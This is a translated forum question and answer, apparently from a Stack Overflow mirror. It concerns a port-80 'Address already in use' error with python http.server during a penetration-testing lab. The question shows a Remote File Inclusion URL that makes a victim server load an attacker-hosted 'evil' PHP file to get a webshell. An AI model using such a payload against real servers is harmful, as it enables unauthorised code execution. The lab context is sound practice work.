繁体   English   中英

python http.server 模块在远程文件包含练习中无法通过端口 80 工作

[英]python http.server module not working over port 80 in Remote File Inclusion exercise

我正在做一个渗透测试挑战,我正在一台需要通过远程文件包含漏洞获得访问权限的机器上工作。 过去,我可以通过在我的机器上包含一个恶意文件来获得一个 webshel​​l。 我使用 python http.server 模块(sudo python3 -m http.server 80)这样做了,这工作得非常好。 但是,在第一次成功执行此操作后,我尝试再次运行此命令,每次执行时都会出现以下错误:

File "/usr/lib/python3.7/runpy.py", line 193, in _run_module_as_main
"__main__", mod_spec)
File "/usr/lib/python3.7/runpy.py", line 85, in _run_code
exec(code, run_globals)
File "/usr/lib/python3.7/http/server.py", line 1262, in <module>
test(HandlerClass=handler_class, port=args.port, bind=args.bind)
File "/usr/lib/python3.7/http/server.py", line 1230, in test
with ServerClass(server_address, HandlerClass) as httpd:
File "/usr/lib/python3.7/socketserver.py", line 452, in __init__
self.server_bind()
File "/usr/lib/python3.7/http/server.py", line 137, in server_bind
socketserver.TCPServer.server_bind(self)
File "/usr/lib/python3.7/socketserver.py", line 466, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use

似乎告诉我有些东西已经在使用端口 80 但是当我关闭网络浏览器时,使用 lsof -i :80 检查,即使重新启动我的机器它仍然无法正常工作。 我还尝试通过不同的端口( http://VICTIMIP/path/to/file.php?vuln_param=http://MYIP:4444/path/to/evil/file.php )包含该文件,但这并没有不行。 任何人都可以就如何前进提供任何建议吗? 为什么 http-server 永远不会在端口 80 上工作,或者为什么 RFI 只能在端口 80 上工作? 在这一点上,我真的想不出还有什么我可以尝试的。

我猜你正在使用 Kali Linux 或类似的东西。 它包含预装的 apache/nginx,所以在使用 python http 服务器之前尝试以下操作:

systemctl stop nginx
systemctl stop apache

(需要root)

端口显然正在使用中,因此如果安装了 nginx 或 apache,它会有所帮助。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM